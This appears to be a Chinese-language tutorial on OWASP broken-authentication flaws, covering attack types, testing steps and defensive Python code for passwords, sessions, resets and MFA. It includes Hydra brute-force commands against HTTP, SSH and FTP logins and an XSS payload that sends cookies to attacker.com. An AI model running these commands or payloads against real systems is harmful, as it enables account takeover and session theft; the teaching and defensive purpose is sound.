什麼是身份驗證失效
身份驗證失效(Broken Authentication)是 OWASP Top 10 中的重要安全風險之一。當應用程式的身份驗證機制實作不當時,攻擊者可能冒充其他使用者的身份,甚至取得管理員權限。這類漏洞可能導致未經授權的帳戶存取、資料外洩、身份盜用等嚴重後果。
身份驗證失效可能發生在以下情況:
- 允許自動化攻擊,如憑證填充或暴力破解
- 允許使用弱密碼或常見密碼
- 使用不安全的密碼恢復機制
- 以明文或弱雜湊方式儲存密碼
- 缺少或無效的多因素驗證
- 在 URL 中暴露 Session ID
- Session ID 在成功登入後未更換
- Session ID 未正確失效
常見的身份驗證失效類型
1. 弱密碼政策
許多應用程式允許使用者設定過於簡單的密碼,這使得攻擊者可以輕易猜測或破解密碼。
常見問題:
- 允許短密碼(少於 8 個字元)
- 不要求混合字元類型(大小寫、數字、特殊符號)
- 允許使用常見密碼(如
123456、password、qwerty) - 不檢查密碼是否在已知的外洩密碼清單中
弱密碼範例:
1
2
3
4
5
6
7
8
| 123456
password
12345678
qwerty
abc123
admin
letmein
welcome
|
2. 暴力破解攻擊
暴力破解(Brute Force)是一種透過嘗試所有可能的密碼組合來破解帳戶的攻擊方式。
攻擊類型:
| 類型 | 說明 |
|---|
| 簡單暴力破解 | 嘗試所有可能的字元組合 |
| 字典攻擊 | 使用常見密碼清單進行嘗試 |
| 憑證填充 | 使用其他網站外洩的帳號密碼嘗試登入 |
| 密碼噴灑 | 對多個帳戶嘗試少量常見密碼 |
| 反向暴力破解 | 固定密碼,嘗試不同使用者名稱 |
Hydra 暴力破解範例:
1
2
3
4
5
6
7
8
| # HTTP POST 表單暴力破解
hydra -l admin -P /usr/share/wordlists/rockyou.txt target.com http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials"
# SSH 暴力破解
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://target.com
# FTP 暴力破解
hydra -l admin -P passwords.txt ftp://target.com
|
Burp Suite Intruder 設定:
- 攔截登入請求
- 將請求發送到 Intruder
- 標記密碼欄位為 payload 位置
- 載入密碼字典
- 開始攻擊並分析回應
3. Session 管理漏洞
Session 管理是身份驗證的關鍵部分,不當的 Session 處理可能導致帳戶被劫持。
Session 固定攻擊(Session Fixation)
攻擊者設定一個已知的 Session ID 給受害者,當受害者登入後,攻擊者可以使用該 Session ID 存取受害者的帳戶。
攻擊流程:
1
2
3
4
| 1. 攻擊者取得一個有效的 Session ID
2. 攻擊者誘導受害者使用該 Session ID 登入
3. 受害者登入成功
4. 攻擊者使用相同的 Session ID 存取受害者帳戶
|
漏洞範例(URL 中的 Session ID):
1
| http://target.com/login?sessionid=abc123
|
Session 劫持(Session Hijacking)
攻擊者竊取受害者的 Session ID 來冒充受害者。
常見攻擊向量:
- 透過 XSS 竊取 Cookie
- 透過網路嗅探取得 Session ID
- 透過惡意軟體讀取 Cookie
XSS 竊取 Cookie 範例:
1
2
3
| <script>
document.location='http://attacker.com/steal.php?cookie='+document.cookie
</script>
|
Session 預測(Session Prediction)
如果 Session ID 的產生方式不夠隨機,攻擊者可能預測其他使用者的 Session ID。
不安全的 Session ID 產生範例:
1
2
3
4
5
| # 不安全:使用可預測的資訊
session_id = md5(username + timestamp)
# 不安全:使用遞增數字
session_id = last_session_id + 1
|
4. 密碼恢復機制漏洞
不安全的密碼恢復機制可能被攻擊者利用來重設其他使用者的密碼。
常見漏洞:
- 安全問題的答案容易猜測
- 密碼重設連結不會過期
- 密碼重設令牌可預測
- 透過錯誤訊息列舉使用者
使用者列舉範例:
1
2
3
4
5
| 輸入:admin@target.com
回應:密碼重設連結已發送
輸入:nonexistent@target.com
回應:找不到此電子郵件地址
|
透過不同的回應訊息,攻擊者可以判斷某個電子郵件是否已註冊。
5. 多因素驗證繞過
即使實作了多因素驗證(MFA),不當的實作也可能被繞過。
常見繞過方式:
- 直接存取登入後的頁面
- 重複使用驗證碼
- 暴力破解驗證碼
- 透過密碼重設繞過 MFA
- 利用備份碼
繞過測試:
1
2
3
| 1. 完成帳號密碼驗證
2. 在 MFA 驗證步驟時,直接嘗試存取 /dashboard
3. 如果可以存取,表示存在繞過漏洞
|
測試方法
1. 密碼政策測試
測試應用程式是否接受弱密碼:
1
2
3
4
5
6
| 測試案例:
- 短密碼:abc
- 純數字:12345678
- 常見密碼:password123
- 無特殊字元:Abcdefgh
- 與使用者名稱相同:username
|
2. 帳戶鎖定機制測試
測試是否有帳戶鎖定機制防止暴力破解:
1
2
3
4
5
6
7
| # 使用 Burp Suite Intruder 進行測試
1. 設定錯誤密碼嘗試 10-20 次
2. 觀察是否有以下反應:
- 帳戶被鎖定
- 增加驗證碼
- 增加延遲時間
- IP 被封鎖
|
3. Session 管理測試
測試 Session ID 隨機性:
1
2
3
4
5
| # 收集多個 Session ID
curl -c - http://target.com/login | grep session
# 分析 Session ID 的模式
# 使用 Burp Suite Sequencer 分析隨機性
|
測試 Session 固定:
1
2
3
4
| 1. 取得 Session ID(未登入狀態)
2. 使用該 Session ID 登入
3. 檢查登入後 Session ID 是否改變
4. 如果沒有改變,存在 Session 固定漏洞
|
測試 Session 過期:
1
2
3
4
| 1. 登入取得 Session
2. 登出
3. 嘗試使用舊的 Session ID 存取
4. 如果仍可存取,Session 未正確失效
|
4. 密碼重設測試
1
2
3
4
5
6
| 測試項目:
- 重設令牌是否過期
- 令牌是否可重複使用
- 令牌是否可預測
- 是否可重設任意使用者密碼
- 錯誤訊息是否洩漏使用者資訊
|
5. 自動化測試工具
OWASP ZAP
1
2
3
4
| # 使用 ZAP 進行身份驗證測試
1. 設定 Authentication Context
2. 執行 Active Scan
3. 檢視 Authentication 相關的警報
|
Burp Suite
1
2
3
4
5
| # 使用 Burp Suite 進行測試
1. 使用 Proxy 攔截登入請求
2. 使用 Intruder 進行暴力破解測試
3. 使用 Sequencer 分析 Session ID 隨機性
4. 使用 Scanner 進行自動化掃描
|
Nikto
1
2
| # 使用 Nikto 掃描
nikto -h http://target.com
|
測試清單
防護措施
1. 實作強密碼政策
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
| import re
import hashlib
import requests
def validate_password(password, username):
# 最少 12 個字元
if len(password) < 12:
return False, "密碼至少需要 12 個字元"
# 必須包含大寫字母
if not re.search(r'[A-Z]', password):
return False, "密碼必須包含大寫字母"
# 必須包含小寫字母
if not re.search(r'[a-z]', password):
return False, "密碼必須包含小寫字母"
# 必須包含數字
if not re.search(r'\d', password):
return False, "密碼必須包含數字"
# 必須包含特殊字元
if not re.search(r'[!@#$%^&*(),.?":{}|<>]', password):
return False, "密碼必須包含特殊字元"
# 不能與使用者名稱相同
if password.lower() == username.lower():
return False, "密碼不能與使用者名稱相同"
# 檢查是否在已知的外洩密碼清單中(使用 Have I Been Pwned API)
sha1_password = hashlib.sha1(password.encode()).hexdigest().upper()
prefix = sha1_password[:5]
suffix = sha1_password[5:]
response = requests.get(f'https://api.pwnedpasswords.com/range/{prefix}')
if suffix in response.text:
return False, "此密碼已在外洩的密碼清單中,請使用其他密碼"
return True, "密碼符合要求"
|
2. 實作帳戶鎖定機制
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
| from datetime import datetime, timedelta
from collections import defaultdict
# 儲存登入失敗記錄
failed_attempts = defaultdict(list)
locked_accounts = {}
def check_login_attempt(username, ip_address):
current_time = datetime.now()
# 檢查帳戶是否被鎖定
if username in locked_accounts:
lock_until = locked_accounts[username]
if current_time < lock_until:
remaining = (lock_until - current_time).seconds // 60
return False, f"帳戶已被鎖定,請在 {remaining} 分鐘後再試"
else:
del locked_accounts[username]
failed_attempts[username] = []
return True, "可以嘗試登入"
def record_failed_attempt(username, ip_address):
current_time = datetime.now()
# 清除 15 分鐘前的記錄
cutoff_time = current_time - timedelta(minutes=15)
failed_attempts[username] = [
t for t in failed_attempts[username] if t > cutoff_time
]
# 記錄此次失敗
failed_attempts[username].append(current_time)
# 如果 15 分鐘內失敗 5 次,鎖定帳戶
if len(failed_attempts[username]) >= 5:
locked_accounts[username] = current_time + timedelta(minutes=30)
return False, "登入失敗次數過多,帳戶已被鎖定 30 分鐘"
remaining = 5 - len(failed_attempts[username])
return True, f"登入失敗,剩餘 {remaining} 次嘗試機會"
|
3. 安全的 Session 管理
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
| import secrets
from datetime import datetime, timedelta
def generate_session_id():
"""產生安全的 Session ID"""
return secrets.token_urlsafe(32)
def create_session(user_id):
"""建立新的 Session"""
session_id = generate_session_id()
session_data = {
'user_id': user_id,
'created_at': datetime.now(),
'last_activity': datetime.now(),
'ip_address': request.remote_addr,
'user_agent': request.user_agent.string
}
# 儲存 session 到安全的儲存空間
store_session(session_id, session_data)
return session_id
def validate_session(session_id):
"""驗證 Session 有效性"""
session_data = get_session(session_id)
if not session_data:
return False, "Session 不存在"
# 檢查 Session 是否過期(閒置 30 分鐘)
idle_timeout = timedelta(minutes=30)
if datetime.now() - session_data['last_activity'] > idle_timeout:
delete_session(session_id)
return False, "Session 已過期"
# 檢查絕對過期時間(最長 8 小時)
absolute_timeout = timedelta(hours=8)
if datetime.now() - session_data['created_at'] > absolute_timeout:
delete_session(session_id)
return False, "Session 已過期"
# 更新最後活動時間
session_data['last_activity'] = datetime.now()
store_session(session_id, session_data)
return True, session_data
def regenerate_session(old_session_id, user_id):
"""登入成功後更換 Session ID(防止 Session 固定攻擊)"""
delete_session(old_session_id)
return create_session(user_id)
|
4. 設定安全的 Cookie 屬性
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| from flask import Flask, make_response
app = Flask(__name__)
@app.route('/login', methods=['POST'])
def login():
# ... 驗證邏輯 ...
response = make_response(redirect('/dashboard'))
# 設定安全的 Cookie 屬性
response.set_cookie(
'session_id',
value=session_id,
httponly=True, # 防止 JavaScript 存取
secure=True, # 只透過 HTTPS 傳輸
samesite='Strict', # 防止 CSRF
max_age=1800 # 30 分鐘過期
)
return response
|
5. 實作安全的密碼重設機制
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
| import secrets
from datetime import datetime, timedelta
def generate_reset_token(user_id):
"""產生密碼重設令牌"""
token = secrets.token_urlsafe(32)
# 儲存令牌,設定 1 小時過期
store_reset_token(user_id, token, datetime.now() + timedelta(hours=1))
return token
def validate_reset_token(token):
"""驗證密碼重設令牌"""
token_data = get_reset_token(token)
if not token_data:
return False, "無效的重設連結"
if datetime.now() > token_data['expires_at']:
delete_reset_token(token)
return False, "重設連結已過期"
return True, token_data['user_id']
def reset_password(token, new_password):
"""重設密碼"""
valid, result = validate_reset_token(token)
if not valid:
return False, result
user_id = result
# 驗證新密碼
password_valid, message = validate_password(new_password, get_username(user_id))
if not password_valid:
return False, message
# 更新密碼
update_password(user_id, hash_password(new_password))
# 刪除令牌(一次性使用)
delete_reset_token(token)
# 使所有現有 Session 失效
invalidate_all_sessions(user_id)
return True, "密碼已成功重設"
|
6. 實作多因素驗證
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
| import pyotp
import qrcode
from io import BytesIO
def setup_mfa(user_id):
"""設定 TOTP 多因素驗證"""
# 產生密鑰
secret = pyotp.random_base32()
# 儲存密鑰
store_mfa_secret(user_id, secret)
# 產生 QR Code
totp = pyotp.TOTP(secret)
uri = totp.provisioning_uri(
name=get_user_email(user_id),
issuer_name="Your Application"
)
# 產生 QR Code 圖片
img = qrcode.make(uri)
buffer = BytesIO()
img.save(buffer, format='PNG')
return secret, buffer.getvalue()
def verify_mfa(user_id, code):
"""驗證 TOTP 碼"""
secret = get_mfa_secret(user_id)
if not secret:
return False, "MFA 未設定"
totp = pyotp.TOTP(secret)
# 驗證碼,允許 30 秒的時間偏差
if totp.verify(code, valid_window=1):
return True, "驗證成功"
return False, "驗證碼錯誤"
|
7. 安全的密碼儲存
1
2
3
4
5
6
7
8
9
10
11
| import bcrypt
def hash_password(password):
"""使用 bcrypt 雜湊密碼"""
salt = bcrypt.gensalt(rounds=12)
hashed = bcrypt.hashpw(password.encode(), salt)
return hashed.decode()
def verify_password(password, hashed):
"""驗證密碼"""
return bcrypt.checkpw(password.encode(), hashed.encode())
|
防護措施總結
| 類別 | 防護措施 |
|---|
| 密碼政策 | 強制使用強密碼、檢查常見密碼清單 |
| 暴力破解防護 | 帳戶鎖定、驗證碼、速率限制 |
| Session 安全 | 安全的 Session ID、適當的過期時間、安全的 Cookie 屬性 |
| 密碼重設 | 一次性令牌、短期過期、不洩漏使用者資訊 |
| 多因素驗證 | 實作 TOTP 或其他 MFA 機制 |
| 密碼儲存 | 使用 bcrypt 或 Argon2 雜湊 |
| 傳輸安全 | 強制使用 HTTPS |
參考資源